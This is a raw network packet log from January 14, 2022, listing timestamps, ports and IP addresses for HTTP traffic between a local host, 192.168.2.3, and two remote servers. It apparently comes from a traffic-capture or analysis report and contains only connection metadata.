Jan 14, 2022 01:51:37.362628937 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362644911 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362667084 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362704039 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362723112 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362742901 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362781048 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362802982 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362818956 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362875938 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.413820982 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.413899899 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.413943052 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.413980961 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.413980961 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414021015 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414026022 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414062977 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414102077 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414118052 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414143085 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414181948 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414196014 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414232016 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414273977 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414283037 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414313078 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414352894 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414361954 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414392948 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414428949 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414439917 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414469004 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414508104 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414516926 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414546013 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414586067 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414596081 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414622068 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414671898 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414700031 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414710999 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414748907 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414763927 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414788961 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414828062 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414839029 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414865971 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414906025 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414911985 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.414944887 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414983034 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.414992094 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415021896 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415060043 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415070057 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415101051 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415138960 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415174961 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415179014 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415214062 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415224075 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415254116 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415293932 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415323973 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415335894 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415373087 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415395975 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415410995 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415448904 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415463924 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415486097 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415524006 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415539026 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415561914 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415601969 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415617943 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415641069 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415679932 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415694952 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415719032 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415756941 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415785074 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415813923 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415852070 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415891886 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415926933 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415932894 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415961027 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.415966034 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.415981054 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.416007042 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416043997 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416057110 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.416081905 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416121006 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416129112 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.416158915 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416197062 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416214943 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.416238070 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416280985 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416296959 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.416321039 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416357040 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416383028 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.416389942 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.416443110 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.430124044 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.452480078 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.504582882 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.651737928 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.702699900 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.705007076 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.705054998 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.705065012 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.755898952 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.787858009 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.788115978 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.788163900 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.824809074 CET	49841	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.838804007 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.875442028 CET	80	49841	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.875519991 CET	49841	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.875591993 CET	49841	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.875602007 CET	49841	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.926151991 CET	80	49841	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.955025911 CET	80	49841	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:38.955198050 CET	49841	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:38.955336094 CET	49841	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:39.006247997 CET	80	49841	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:39.054888964 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.126420021 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.126996994 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.127194881 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.198678017 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199035883 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199064970 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199091911 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199115992 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199141026 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199162006 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.199167967 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199182034 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.199193954 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199219942 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199219942 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.199245930 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199250937 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.199258089 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.199270964 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.199392080 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.270914078 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.270977020 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271014929 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271056890 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271085978 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271094084 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271133900 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271151066 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271177053 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271210909 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271218061 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271260977 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271280050 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271301031 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271337986 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271361113 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271378040 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271416903 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271456957 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271486044 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271496058 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271542072 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271553040 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271584034 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271591902 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.271624088 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271661997 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.271678925 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343238115 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343297005 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343317032 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343336105 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343378067 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343385935 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343419075 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343456030 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343470097 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343497992 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343504906 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343539000 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343564034 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343579054 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343621016 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343657970 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343672991 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343681097 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343698978 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343708992 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343739986 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343776941 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343790054 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343816996 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343858004 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343897104 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343935966 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.343943119 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343950987 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.343972921 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344012022 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344050884 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344086885 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344104052 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344114065 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344130039 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344168901 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344207048 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344245911 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344253063 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344260931 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344284058 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344322920 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344361067 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344398975 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344407082 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344415903 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344436884 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344475985 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344513893 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344552994 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344558954 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344567060 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.344589949 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344630003 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.344835997 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416248083 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416309118 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416348934 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416388035 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416394949 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416423082 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416428089 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416471004 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416500092 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416511059 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416553020 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416591883 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416619062 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416629076 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416630030 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416671038 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416707039 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416723967 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416747093 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416786909 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416822910 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416838884 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416872978 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416899920 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.416913033 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416949987 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.416989088 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417026997 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417042971 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417052984 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417068958 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417108059 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417135000 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417145967 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417186975 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417201996 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417231083 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417268991 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417306900 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417309046 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417345047 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417383909 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417392015 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417423964 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417447090 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417460918 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417500019 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417536974 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417538881 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417574883 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417613029 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417620897 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417651892 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417661905 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417691946 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417731047 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417766094 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417773008 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417805910 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417844057 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417922974 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417922974 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417929888 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.417959929 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.417999029 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.418036938 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.418076038 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.418088913 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.418096066 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.489541054 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489603996 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489645958 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489679098 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.489691019 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489748955 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489789009 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489808083 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.489816904 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.489830971 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489896059 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.489907026 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489948988 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.489988089 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490011930 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490029097 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490067959 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490108013 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490144968 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490163088 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490171909 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490186930 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490227938 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490264893 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490303993 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490324020 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490331888 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490343094 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490384102 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490423918 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490461111 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490473986 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490482092 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490500927 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490540028 CET	80	49842	141.8.194.74	192.168.2.3
